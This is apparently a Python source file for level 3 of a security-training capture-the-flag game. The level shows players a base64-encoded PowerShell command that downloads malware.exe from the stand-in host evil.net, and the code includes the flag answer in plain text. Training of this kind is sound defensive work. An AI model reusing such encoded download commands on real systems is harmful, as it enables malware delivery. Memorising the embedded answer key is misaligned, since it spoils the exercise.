-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathlevel3.py
More file actions
62 lines (55 loc) · 2.14 KB
/
level3.py
File metadata and controls
62 lines (55 loc) · 2.14 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import os
import time
def clear():
os.system('cls' if os.name == 'nt' else 'clear')
def next_step_menu():
print("\n🎉 Level 3 Complete!")
print("What would you like to do next?")
print("1. Continue to next level")
print("2. Restart this level")
print("3. Exit game")
while True:
choice = input("Enter 1, 2, or 3: ").strip()
if choice == "1":
return "next"
elif choice == "2":
return "restart"
elif choice == "3":
print("Exiting game...")
exit()
else:
print("❌ Invalid choice.")
def level3(save):
while True:
clear()
print("🧪 Level 3: Malicious PowerShell Detected\n")
print("Security logs flagged a suspicious PowerShell command executed on a host.\n")
print("--- Begin PowerShell ---")
print("powershell -enc aHR0cDovL2V2aWwubmV0L21hbHdhcmUuZXhl")
print("--- End PowerShell ---\n")
print("🛠️ Your task:")
print("Decode the base64 string in the PowerShell command to reveal what it's trying to download.")
print("\n🎯 Once you find the download link, submit the flag using:")
print("submit FLAG{MALWARE_DOWNLOAD_LINK}")
print("\n💡 Hint: Use any base64 decoder to analyze the encoded part.\n")
cmd = input("> ").strip()
if cmd.lower() == "exit":
print("Exiting game...")
exit()
elif cmd.startswith("submit "):
_, flag = cmd.split(" ", 1)
if flag.strip().lower() == "flag{http://evil.net/malware.exe}":
print("\n✅ Correct! Flag accepted.")
save["level"] = 4
save["flags"].append("FLAG{http://evil.net/malware.exe}")
time.sleep(1.5)
clear()
action = next_step_menu()
if action == "next":
return save
elif action == "restart":
continue
else:
print("❌ Incorrect. Try again or type 'exit'.")
else:
print("❌ Unknown command. Use 'submit <FLAG>' or type 'exit'.")